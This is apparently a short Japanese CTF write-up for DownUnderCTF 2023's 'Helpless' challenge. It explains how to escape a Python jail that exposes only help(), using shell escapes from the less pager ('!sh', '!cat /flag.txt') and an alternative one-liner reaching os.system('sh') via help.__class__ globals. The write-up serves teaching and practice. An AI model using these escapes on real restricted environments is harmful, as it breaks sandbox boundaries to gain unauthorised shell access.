DownUnderCTF 2023 - Helpless
Challenge
help() のみが使える環境。
code = input()exec(code, {'__builtins__': {'help': help}})Solution
help() 対話モード
help()対話モードに入った後、モジュール名を入力してドキュメントを表示:
help> ospager からのシェル脱出
長いヘルプテキストは pager (通常 less) で表示される。 less 内でシェルコマンドを実行:
!shまたは:
!cat /flag.txt特定モジュールの利用
help> pdbpdb のヘルプページから:
!import os; os.system('sh')Technical Details
help() の動作
# help() は _Helper クラスのインスタンスtype(help) # <class '_sitebuiltins._Helper'>
# 対話モードhelp() # 入力を待つ
# 直接ヘルプを表示help(os) # os のドキュメントpager の設定
import osos.environ['PAGER'] # デフォルトは 'less' や 'more'less のコマンド
| コマンド | 動作 |
|---|---|
!cmd | シェルコマンド実行 |
v | エディタを開く |
q | 終了 |
Alternative Solutions
別解1: help.class からの脱出
help.__class__.__repr__.__globals__['sys'].modules['os'].system('sh')別解2: license() の利用
help 内で license() 相当にアクセス:
help> licenseFlag
DUCTF{...}
References
- DownUnderCTF 2023 Official
- Python help() documentation